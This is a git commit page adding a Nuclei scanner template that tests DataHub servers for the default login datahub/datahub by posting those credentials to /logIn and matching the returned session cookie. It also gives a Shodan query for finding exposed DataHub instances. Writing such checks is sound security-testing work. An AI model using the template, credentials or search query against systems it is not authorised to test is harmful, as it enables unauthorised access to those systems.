Merge pull request #6010 from projectdiscovery/datahub-metadata-default-login

Create datahub-metadata-default-login.yaml
patch-1
Dhiyaneshwaran 2022-11-10 22:17:01 +05:30 committed by GitHub
commit 69d4fabb92
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: datahub-metadata-default-login
info:
name: DataHub Metadata Default Login
author: queencitycyber
severity: high
reference:
- https://github.com/datahub-project/datahub/blob/master/docs/rfc/active/access-control/access-control.md
metadata:
verified: true
shodan-query: http.title:"DataHub"
tags: datahub,default-login
requests:
- raw:
- |
POST /logIn HTTP/2
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{username}}","password":"{{password}}"}
attack: pitchfork
payloads:
username:
- datahub
password:
- datahub
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'Set-Cookie: actor=urn:li:corpuser:datahub;'
condition: and
- type: status
status:
- 200